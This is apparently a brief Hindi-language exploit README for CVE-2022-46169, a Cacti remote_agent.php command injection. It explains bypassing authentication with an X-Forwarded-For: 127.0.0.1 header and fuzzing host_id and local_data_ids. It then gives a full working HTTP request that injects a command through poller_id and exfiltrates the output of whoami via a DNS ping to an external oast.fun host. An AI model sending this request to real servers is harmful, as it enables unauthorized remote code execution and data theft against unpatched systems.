0xf4n9x/cve-2022-46169CVE-2022-46169 Cacti remote_agent.php अप्रमाणित कमांड इंजेक्शन।
CVE-2022-46169 Cacti remote_agent.php में बिना प्रमाणीकरण के कमांड इंजेक्शन।
X-Forwarded-For हेडर जोड़कर प्रमाणीकरण को बाइपास करें, ध्यान दें कि इसका मान एक निश्चित मान नहीं है।
host_id और local_data_ids के मानों का फ़ज़ टेस्ट करने के लिए Burp Intruder का उपयोग करें।
कमांड इंजेक्शन का बिंदु poller_id पैरामीटर है।
GET /cacti/remote_agent.php?action=polldata&poller_id=;ping%20-c%202%20`whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.fun&host_id=2&local_data_ids[]=6 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1
